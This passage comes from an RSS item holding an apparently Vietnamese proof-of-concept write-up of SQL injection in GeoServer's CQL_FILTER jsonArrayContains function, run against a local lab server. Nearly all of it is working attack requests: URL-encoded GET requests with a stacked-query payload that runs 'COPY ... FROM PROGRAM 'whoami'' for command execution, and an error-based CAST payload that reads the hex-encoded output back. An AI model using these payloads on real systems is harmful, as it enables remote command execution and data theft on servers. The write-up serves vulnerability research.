style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Accept</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Encoding</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">gzip</span>, <span style="color:#a6e22e">deflate</span>, <span style="color:#a6e22e">br</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Host</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">localhost</span><span style="color:#f92672">:</span><span style="color:#ae81ff">8080</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">User</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Agent</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">poc</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Connection</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">keep</span><span style="color:#f92672">-</span><span style="color:#a6e22e">alive</span>
</span></span></code></pre></div><p><code>jsonArrayContains(&quot;data&quot;, '/a', 'x&quot;)'') AND CAST((SELECT chr(126)||(SELECT encode(convert_to(COALESCE(string_agg(output, chr(10)), ''[Empty Output]''), ''UTF8''), ''hex'') FROM cmd_out_tmp)||chr(126)) AS NUMERIC)=1 OR (''1''=''1') = true</code></p>
<p></p>
<p>Tiếp theo gửi request để select kết quả vừa ghi vào bảng vừa tạo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> <span style="color:#f92672">/</span><span style="color:#a6e22e">geoserver</span><span style="color:#f92672">/</span><span style="color:#a6e22e">ows</span><span style="color:#f92672">?</span><span style="color:#a6e22e">service</span><span style="color:#f92672">=</span><span style="color:#a6e22e">wfs</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">version</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1.0</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">request</span><span style="color:#f92672">=</span><span style="color:#a6e22e">GetFeature</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">typeName</span><span style="color:#f92672">=</span><span style="color:#a6e22e">lab</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">Apoi</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">CQL_FILTER</span><span style="color:#f92672">=</span><span style="color:#a6e22e">jsonArrayContains</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#a6e22e">data</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">Fa</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#a6e22e">x</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">AND</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">CAST</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">SELECT</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">chr</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28126</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">7</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">7</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">SELECT</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">encode</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">convert_to</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">COALESCE</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">string_agg</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">output</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">chr</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2810</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">5</span><span style="color:#a6e22e">BEmpty</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">Output</span><span style="color:#f92672">%</span><span style="color:#ae81ff">5</span><span style="color:#a6e22e">D</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#a6e22e">UTF8</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#a6e22e">hex</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">FROM</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">cmd_out_tmp</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">7</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">7</span><span style="color:#a6e22e">Cchr</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28126</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">AS</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">NUMERIC</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D1</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">OR</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">271</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">271</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">true</span> <span style="color:#a6e22e">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Accept</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Encoding</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">gzip</span>, <span style="color:#a6e22e">deflate</span>, <span style="color:#a6e22e">br</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Host</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">localhost</span><span style="color:#f92672">:</span><span style="color:#ae81ff">8080</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">User</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Agent</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">poc</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Connection</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">keep</span><span style="color:#f92672">-</span><span style="color:#a6e22e">alive</span>
</span></span></code></pre></div><p><code>jsonArrayContains(&quot;data&quot;, '/a', 'x&quot;)'') ) ; COMMIT; DROP TABLE IF EXISTS cmd_out_tmp; CREATE TABLE cmd_out_tmp(output text); COPY cmd_out_tmp(output) FROM PROGRAM ''whoami''; COMMIT; --') = true</code></p>
<p></p>
<p>Decode hex:</p>
<p></p>
]]></description>
</item>
</channel>
</rss>
